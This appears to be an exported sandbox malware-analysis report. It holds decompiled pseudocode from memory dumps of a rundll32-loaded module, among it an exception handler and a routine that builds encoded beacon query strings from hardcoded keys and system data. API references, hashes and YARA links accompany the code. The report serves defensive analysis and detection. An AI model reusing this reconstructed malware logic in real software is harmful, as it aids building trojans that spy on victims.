0x010f86bc
0x010f86be
0x010f86be
0x00000000
0x010f86b0
0x010f86ae
0x010f868a
0x010f8691
0x010f8691
0x010f8693
0x00000000
0x00000000
0x010f8695
0x010f8696
0x010f8699
0x010f869b
0x00000000
0x00000000
0x00000000
0x010f869b
0x00000000
0x010f8691
0x010f8614
0x010f8617
0x010f861c
0x00000000
0x00000000
0x010f8625
0x010f8627
0x010f862d
0x00000000
0x00000000
0x010f8633
0x010f8639
0x00000000
0x00000000
0x010f863f
0x010f8641
0x010f864a
0x010f864e
0x00000000
0x00000000
0x010f8654
0x010f8657
0x010f8659
0x00000000
0x00000000
0x010f8660
0x010f8662
0x00000000
0x00000000
0x010f8664
0x010f8668
0x00000000
0x00000000
0x00000000
0x010f8668
0x00000000
0x00000000
0x00000000
0x010f8553
0x010f8553
0x010f8553
0x010f855a
0x00000000
0x00000000
0x010f855c
0x010f855d
0x010f855f
0x00000000
0x00000000
0x00000000
0x010f855f
0x010f8587
0x010f8589
0x00000000
0x00000000
0x010f8599
0x010f859b
0x010f859d
0x00000000
0x00000000
0x010f85a3
0x010f85aa
0x010f85d6
0x010f85d6
0x010f85d8
0x010f85da
0x010f85ee
0x010f85f0
0x00000000
0x00000000
0x00000000
0x00000000
0x010f85dc
0x010f85dc
0x010f85dc
0x010f85e5
0x010f85e6
0x010f85e8
0x010f85ea
0x010f85ea
0x00000000
0x010f85dc
0x010f85ac
0x010f85ac
0x010f85af
0x010f85b1
0x010f85c3
0x010f85c3
0x010f85c6
0x010f85c8
0x010f85c8
0x010f85c9
0x010f85c9
0x010f85cf
0x010f85cf
0x00000000
0x00000000
0x00000000
0x00000000
0x010f85b3
0x010f85b3
0x010f85b3
0x010f85ba
0x00000000
0x00000000
0x010f85bc
0x010f85bc
0x010f85bd
0x00000000
0x00000000
0x00000000
0x010f85bd
0x010f85bf
0x010f85c1
0x010f85d4
0x00000000
0x00000000
0x00000000
0x010f85d4
0x00000000
0x010f85c1
0x010f8533
0x010f8536
0x010f8539
0x00000000
0x00000000
0x010f853b
0x010f853d
0x00000000
0x00000000
0x00000000
0x010f853d
0x010f8502
0x010f8504
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 010F8572

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: a3f6a9f9e2b10cecd56cf408dbf6fc1fb24b003f2703e506a441e31b7b0e620d
Instruction ID: ae4d94940994c7478af927cfff0da62931e58053409131b7c640e35849b65ad9
Opcode Fuzzy Hash: a3f6a9f9e2b10cecd56cf408dbf6fc1fb24b003f2703e506a441e31b7b0e620d
Instruction Fuzzy Hash: AB61C3717006068FDB6ACA2CC49A6E937E1FB85754B28C0AFE7C5C7E89E775D8428740

Uniqueness

Uniqueness Score: -1.00%

Function 008F2274 Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E008F2274(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E008F23DB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E008F2495(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E008F2380(_t55, _t66);
										_t89 = _t66 + 0x10;
										E008F23DB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E008F2477(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x008f2278
0x008f2279
0x008f227a
0x008f227d
0x008f227f
0x008f2282
0x008f2283
0x008f2285
0x008f2286
0x008f2287
0x008f228a
0x008f2294
0x008f2345
0x008f234c
0x008f2355
0x008f229a
0x008f229a
0x008f22a0
0x008f22a6
0x008f22a9
0x008f22ac
0x008f22b0
0x008f22b5
0x008f22ba
0x008f233a
0x00000000
0x008f22bc
0x008f22bc
0x008f22c8
0x008f22ca
0x008f2325
0x008f2325
0x008f232b
0x00000000
0x008f22cc
0x008f22db
0x008f22dd
0x008f22de
0x008f22df
0x008f22e2
0x008f22e2
0x008f22e4
0x00000000
0x008f22e6
0x008f22e6
0x008f2330
0x008f22e8
0x008f22e8
0x008f22ec
0x008f22f4
0x008f22f9
0x008f22fe
0x008f230a
0x008f2312
0x008f2319
0x008f231f
0x008f2323
0x00000000
0x008f2323
0x008f22e6
0x008f22e4
0x00000000
0x008f22ca
0x008f233e
0x008f233e
0x008f233e
0x008f22ba
0x008f235a
0x008f2361

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 77a2f1e99c4c71d2803259d08886e05a7949376d178495f71346502aab62a6f1
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 8621B6729002089FCB14EF78C8808BBB7A5FF48350B458168EA55DB255D734FA25C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 010F829C Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E010F829C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E010F8407(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E010F84C1(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E010F83AC(_t55, _t66);
										_t89 = _t66 + 0x10;
										E010F8407(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E010F84A3(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x010f82a0
0x010f82a1
0x010f82a2
0x010f82a5
0x010f82a7
0x010f82aa
0x010f82ab
0x010f82ad
0x010f82ae
0x010f82af
0x010f82b2
0x010f82bc
0x010f836d
0x010f8374
0x010f837d
0x010f82c2
0x010f82c2
0x010f82c8
0x010f82ce
0x010f82d1
0x010f82d4
0x010f82d8
0x010f82dd
0x010f82e2
0x010f8362
0x00000000
0x010f82e4
0x010f82e4
0x010f82f0
0x010f82f2
0x010f834d
0x010f834d
0x010f8353
0x00000000
0x010f82f4
0x010f8303
0x010f8305
0x010f8306
0x010f8307
0x010f830a
0x010f830a
0x010f830c
0x00000000
0x010f830e
0x010f830e
0x010f8358
0x010f8310
0x010f8310
0x010f8314
0x010f831c
0x010f8321
0x010f8326
0x010f8332
0x010f833a
0x010f8341
0x010f8347
0x010f834b
0x00000000
0x010f834b
0x010f830e
0x010f830c
0x00000000
0x010f82f2
0x010f8366
0x010f8366
0x010f8366
0x010f82e2
0x010f8382
0x010f8389

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction ID: d6019f6401243157211e6244b6ec46ce1c06efae118b99571b5c980b3b95bf40
Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction Fuzzy Hash: 7B21D8729002059FDB14DF68C8818EBBBA5FF44310B09C5ADDA959B255EB30F915CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 010F300E Relevance: 36.3, APIs: 24, Instructions: 266
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E010F300E(long __eax, intOrPtr _a4, void* _a8, void* _a16, void* _a20, void* _a24, intOrPtr _a32, void* _a40, intOrPtr _a44) {
				intOrPtr _v4;
				signed int _v8;
				int* _v12;
				char* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				void* __ebx;
				void* __edi;
				long _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				void* _t74;
				intOrPtr _t75;
				int _t78;
				intOrPtr _t79;
				int _t82;
				intOrPtr _t83;
				intOrPtr _t84;
				void* _t86;
				void* _t89;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr* _t99;
				int* _t105;
				int* _t115;
				char** _t117;
				char* _t118;
				intOrPtr* _t123;
				intOrPtr* _t125;
				intOrPtr* _t127;
				intOrPtr* _t129;
				intOrPtr _t132;
				intOrPtr _t136;
				int _t139;
				intOrPtr _t141;
				int _t144;
				void* _t145;
				intOrPtr _t159;
				void* _t161;
				int _t162;
				void* _t163;
				void* _t164;
				long _t165;
				intOrPtr* _t166;
				intOrPtr* _t167;
				intOrPtr _t168;
				intOrPtr* _t171;
				char** _t174;
				char** _t176;
				char** _t177;
				void* _t182;

				_t66 = __eax;
				_t174 =  &_v16;
				_t145 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t66 = GetTickCount();
				}
				_t67 =  *0x10fa018; // 0xd0cb76cf
				asm("bswap eax");
				_t68 =  *0x10fa014; // 0x3a87c8cd
				asm("bswap eax");
				_t69 =  *0x10fa010; // 0xd8d2f808
				asm("bswap eax");
				_t70 =  *0x10fa00c; // 0xeec43f25
				asm("bswap eax");
				_t71 =  *0x10fa348; // 0x40ad5a8
				_t3 = _t71 + 0x10fb62b; // 0x74666f73
				_t162 = wsprintfA(_t145, _t3, 3, 0x3d175, _t70, _t69, _t68, _t67,  *0x10fa02c,  *0x10fa004, _t66);
				_t74 = E010F6927();
				_t75 =  *0x10fa348; // 0x40ad5a8
				_t4 = _t75 + 0x10fb66b; // 0x74707526
				_t78 = wsprintfA(_t162 + _t145, _t4, _t74);
				_t176 =  &(_t174[0xe]);
				_t163 = _t162 + _t78;
				if(_a24 != 0) {
					_t141 =  *0x10fa348; // 0x40ad5a8
					_t8 = _t141 + 0x10fb676; // 0x732526
					_t144 = wsprintfA(_t163 + _t145, _t8, _a24);
					_t176 =  &(_t176[3]);
					_t163 = _t163 + _t144;
				}
				_t79 =  *0x10fa348; // 0x40ad5a8
				_t10 = _t79 + 0x10fb78e; // 0x51a8d36
				_t182 = _a20 - _t10;
				_t12 = _t79 + 0x10fb2de; // 0x74636126
				_t157 = 0 | _t182 == 0x00000000;
				_t82 = wsprintfA(_t163 + _t145, _t12, _t182 == 0);
				_t177 =  &(_t176[3]);
				_t164 = _t163 + _t82;
				_t83 = E010F22D7(_t10);
				_a32 = _t83;
				if(_t83 != 0) {
					_t136 =  *0x10fa348; // 0x40ad5a8
					_t17 = _t136 + 0x10fb8d0; // 0x736e6426
					_t139 = wsprintfA(_t164 + _t145, _t17, _t83);
					_t177 =  &(_t177[3]);
					_t164 = _t164 + _t139;
					HeapFree( *0x10fa2d8, 0, _a40);
				}
				_t84 = E010F2A11();
				_a32 = _t84;
				if(_t84 != 0) {
					_t132 =  *0x10fa348; // 0x40ad5a8
					_t21 = _t132 + 0x10fb8d8; // 0x6f687726
					wsprintfA(_t164 + _t145, _t21, _t84);
					_t177 =  &(_t177[3]);
					HeapFree( *0x10fa2d8, 0, _a40);
				}
				_t159 =  *0x10fa3cc; // 0x51a95b0
				_t86 = E010F2509( &E010FA00A, _t159 + 4);
				_t165 = 0;
				_a16 = _t86;
				if(_t86 == 0) {
					L28:
					HeapFree( *0x10fa2d8, _t165, _t145);
					return _a44;
				} else {
					_t89 = RtlAllocateHeap( *0x10fa2d8, 0, 0x800);
					_a24 = _t89;
					if(_t89 == 0) {
						L27:
						HeapFree( *0x10fa2d8, _t165, _a8);
						goto L28;
					}
					E010F1BE9(GetTickCount());
					_t93 =  *0x10fa3cc; // 0x51a95b0
					__imp__(_t93 + 0x40);
					asm("lock xadd [eax], ecx");
					_t97 =  *0x10fa3cc; // 0x51a95b0
					__imp__(_t97 + 0x40);
					_t99 =  *0x10fa3cc; // 0x51a95b0
					_t161 = E010F1D33(1, _t157, _t145,  *_t99);
					asm("lock xadd [eax], ecx");
					if(_t161 == 0) {
						L26:
						HeapFree( *0x10fa2d8, _t165, _a16);
						goto L27;
					}
					StrTrimA(_t161, 0x10f928c);
					_push(_t161);
					_t105 = E010F393C();
					_v12 = _t105;
					if(_t105 == 0) {
						L25:
						HeapFree( *0x10fa2d8, _t165, _t161);
						goto L26;
					}
					_t166 = __imp__;
					 *_t166(_t161, _a8);
					 *_t166(_a4, _v12);
					_t167 = __imp__;
					 *_t167(_v4, _v24);
					_t168 = E010F61FC( *_t167(_v12, _t161), _v20);
					_v36 = _t168;
					if(_t168 == 0) {
						_v8 = 8;
						L23:
						E010F561E();
						L24:
						HeapFree( *0x10fa2d8, 0, _v40);
						_t165 = 0;
						goto L25;
					}
					_t115 = E010F10B7(_t145, 0xffffffffffffffff, _t161,  &_v24);
					_v12 = _t115;
					if(_t115 == 0) {
						_t171 = _v24;
						_v20 = E010F5B9D(_t171, _t168, _v16, _v12);
						_t123 =  *((intOrPtr*)(_t171 + 8));
						 *((intOrPtr*)( *_t123 + 0x80))(_t123);
						_t125 =  *((intOrPtr*)(_t171 + 8));
						 *((intOrPtr*)( *_t125 + 8))(_t125);
						_t127 =  *((intOrPtr*)(_t171 + 4));
						 *((intOrPtr*)( *_t127 + 8))(_t127);
						_t129 =  *_t171;
						 *((intOrPtr*)( *_t129 + 8))(_t129);
						E010F6C2C(_t171);
					}
					if(_v8 != 0x10d2) {
						L18:
						if(_v8 == 0) {
							_t117 = _v16;
							if(_t117 != 0) {
								_t118 =  *_t117;
								_t169 =  *_v12;
								_v16 = _t118;
								wcstombs(_t118, _t118,  *_v12);
								 *_v24 = E010F3C22(_v16, _v16, _t169 >> 1);
							}
						}
						goto L21;
					} else {
						if(_v16 != 0) {
							L21:
							E010F6C2C(_v32);
							if(_v12 == 0 || _v8 == 0x10d2) {
								goto L24;
							} else {
								goto L23;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L18;
					}
				}
			}

0x010f300e
0x010f300e
0x010f3012
0x010f3019
0x010f3023
0x010f3025
0x010f3025
0x010f3032
0x010f303d
0x010f3040
0x010f304b
0x010f304e
0x010f3053
0x010f3056
0x010f305b
0x010f305e
0x010f306a
0x010f3077
0x010f3079
0x010f307f
0x010f3084
0x010f308f
0x010f3091
0x010f3094
0x010f309b
0x010f309d
0x010f30a6
0x010f30b1
0x010f30b3
0x010f30b6
0x010f30b6
0x010f30b8
0x010f30bd
0x010f30c5
0x010f30c9
0x010f30cf
0x010f30d8
0x010f30da
0x010f30dd
0x010f30df
0x010f30ea
0x010f30f0
0x010f30f3
0x010f30f8
0x010f3103
0x010f3105
0x010f310c
0x010f3116
0x010f3116
0x010f3118
0x010f311d
0x010f3123
0x010f3126
0x010f312b
0x010f3135
0x010f3137
0x010f3146
0x010f3146
0x010f3148
0x010f3156
0x010f315b
0x010f315d
0x010f3163
0x010f3343
0x010f334b
0x010f3358
0x010f3169
0x010f3175
0x010f317b
0x010f3181
0x010f3336
0x010f3341
0x00000000
0x010f3341
0x010f318d
0x010f3192
0x010f319b
0x010f31ac
0x010f31b0
0x010f31b9
0x010f31bf
0x010f31cc
0x010f31d9
0x010f31df
0x010f3329
0x010f3334
0x00000000
0x010f3334
0x010f31eb
0x010f31f1
0x010f31f2
0x010f31f7
0x010f31fd
0x010f331f
0x010f3327
0x00000000
0x010f3327
0x010f3207
0x010f320e
0x010f3218
0x010f321e
0x010f3228
0x010f323a
0x010f323c
0x010f3242
0x010f335b
0x010f330a
0x010f330a
0x010f330f
0x010f331b
0x010f331d
0x00000000
0x010f331d
0x010f324d
0x010f3252
0x010f3258
0x010f3263
0x010f326e
0x010f3272
0x010f3278
0x010f327e
0x010f3284
0x010f3287
0x010f328d
0x010f3290
0x010f3295
0x010f3299
0x010f3299
0x010f32a6
0x010f32b4
0x010f32b9
0x010f32bb
0x010f32c1
0x010f32c7
0x010f32c9
0x010f32ce
0x010f32d2
0x010f32ee
0x010f32ee
0x010f32c1
0x00000000
0x010f32a8
0x010f32ad
0x010f32f0
0x010f32f4
0x010f32fe
0x00000000
0x00000000
0x00000000
0x00000000
0x010f32fe
0x010f32af
0x00000000
0x010f32af
0x010f32a6

APIs

GetTickCount.KERNEL32 ref: 010F3025
wsprintfA.USER32 ref: 010F3072
wsprintfA.USER32 ref: 010F308F
wsprintfA.USER32 ref: 010F30B1
wsprintfA.USER32 ref: 010F30D8
wsprintfA.USER32 ref: 010F3103
HeapFree.KERNEL32(00000000,?), ref: 010F3116
wsprintfA.USER32 ref: 010F3135
HeapFree.KERNEL32(00000000,?), ref: 010F3146
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 010F3175
GetTickCount.KERNEL32 ref: 010F3187
RtlEnterCriticalSection.NTDLL(051A9570), ref: 010F319B
RtlLeaveCriticalSection.NTDLL(051A9570), ref: 010F31B9

Part of subcall function 010F1D33: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F1D5E
Part of subcall function 010F1D33: lstrlen.KERNEL32(00000000,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F1D66
Part of subcall function 010F1D33: strcpy.NTDLL ref: 010F1D7D
Part of subcall function 010F1D33: lstrcat.KERNEL32(00000000,00000000), ref: 010F1D88
Part of subcall function 010F1D33: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,010F58D7,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F1DA5

StrTrimA.SHLWAPI(00000000,010F928C,?,051A95B0), ref: 010F31EB

Part of subcall function 010F393C: lstrlen.KERNEL32(051A9B68,00000000,00000000,00000000,010F5902,00000000), ref: 010F394C
Part of subcall function 010F393C: lstrlen.KERNEL32(?), ref: 010F3954
Part of subcall function 010F393C: lstrcpy.KERNEL32(00000000,051A9B68), ref: 010F3968
Part of subcall function 010F393C: lstrcat.KERNEL32(00000000,?), ref: 010F3973

lstrcpy.KERNEL32(00000000,?), ref: 010F320E
lstrcpy.KERNEL32(?,?), ref: 010F3218
lstrcat.KERNEL32(?,?), ref: 010F3228
lstrcat.KERNEL32(?,00000000), ref: 010F322F

Part of subcall function 010F61FC: lstrlen.KERNEL32(?,00000000,051A9D70,00000000,010F39E8,051A9F93,69B25F44,?,?,?,?,69B25F44,00000005,010FA00C,4D283A53,?), ref: 010F6203
Part of subcall function 010F61FC: mbstowcs.NTDLL ref: 010F622C
Part of subcall function 010F61FC: memset.NTDLL ref: 010F623E

wcstombs.NTDLL ref: 010F32D2

Part of subcall function 010F5B9D: SysAllocString.OLEAUT32(?), ref: 010F5BD8

Part of subcall function 010F6C2C: RtlFreeHeap.NTDLL(00000000,00000000,010F5E1D,00000000,?,?,00000000), ref: 010F6C38

HeapFree.KERNEL32(00000000,?), ref: 010F331B
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 010F3327
HeapFree.KERNEL32(00000000,?,?,051A95B0), ref: 010F3334
HeapFree.KERNEL32(00000000,?), ref: 010F3341
HeapFree.KERNEL32(00000000,?), ref: 010F334B

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Heap$Free$wsprintf$lstrlen$lstrcat$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterLeaveStringmbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 967369141-0
Opcode ID: 9636ed2497f87a7fb221023be3ae507ae2d1c36877bb0f7756103b330807451e
Instruction ID: 49515ba98e43114274f49b3cd71b7185505aeadfd99a8fca012cdaf787fbac34
Opcode Fuzzy Hash: 9636ed2497f87a7fb221023be3ae507ae2d1c36877bb0f7756103b330807451e
Instruction Fuzzy Hash: 2CA17B71604214EFC761EB68DC4AE9A7BE8FF88714F05482CF6C8D7A20DA36E845CB51

Uniqueness

Uniqueness Score: -1.00%

Function 010F62F6 Relevance: 13.6, APIs: 9, Instructions: 145
stringCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E010F62F6(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				intOrPtr _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				intOrPtr* _t102;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				intOrPtr _t125;

				_t58 =  *0x10fa3dc; // 0x51a9c18
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E010F7367();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E010F7367();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E010F117A(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E010F117A(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E010F67E7(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0x10f918c;
						}
						_t70 = E010F659E(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E010F6D63(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0x10fa348; // 0x40ad5a8
								_t102 =  *0x10fa138; // 0x10f7d4b
								_t28 = _t105 + 0x10fbb30; // 0x530025
								 *_t102(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E010F67E7(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0x10f9190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E010F6D63(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E010F6C2C(_v24);
								} else {
									_t92 =  *0x10fa348; // 0x40ad5a8
									_t44 = _t92 + 0x10fbca8; // 0x73006d
									 *_t102(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E010F6C2C(_v8);
						}
						E010F6C2C(_v12);
					}
					E010F6C2C(_v16);
				}
				return _v28;
			}

0x010f62fc
0x010f6304
0x010f6307
0x010f6314
0x010f6317
0x010f631e
0x010f6325
0x010f6328
0x010f6335
0x010f6338
0x010f633b
0x010f6340
0x010f6345
0x010f634d
0x010f6352
0x010f6357
0x010f635d
0x010f6361
0x010f636a
0x010f636e
0x010f6370
0x010f6370
0x010f6378
0x010f637d
0x010f6382
0x010f6388
0x010f638f
0x010f63a0
0x010f63a7
0x010f63b9
0x010f63be
0x010f63c3
0x010f63cc
0x010f63d5
0x010f63de
0x010f63f4
0x010f63f9
0x010f63fd
0x010f6401
0x010f6406
0x010f640b
0x010f640d
0x010f640d
0x010f6417
0x010f6420
0x010f6427
0x010f6443
0x010f6447
0x010f6480
0x010f6449
0x010f644c
0x010f6454
0x010f6465
0x010f646d
0x010f6475
0x010f6479
0x010f6479
0x010f6447
0x010f6488
0x010f6488
0x010f6490
0x010f6490
0x010f6498
0x010f6498
0x010f64a4

APIs

GetTickCount.KERNEL32 ref: 010F630E
lstrlen.KERNEL32(00000000,00000005), ref: 010F638F
lstrlen.KERNEL32(?), ref: 010F63A0
lstrlen.KERNEL32(00000000), ref: 010F63A7
lstrlenW.KERNEL32(80000002), ref: 010F63AE
lstrlen.KERNEL32(?,00000004), ref: 010F6417
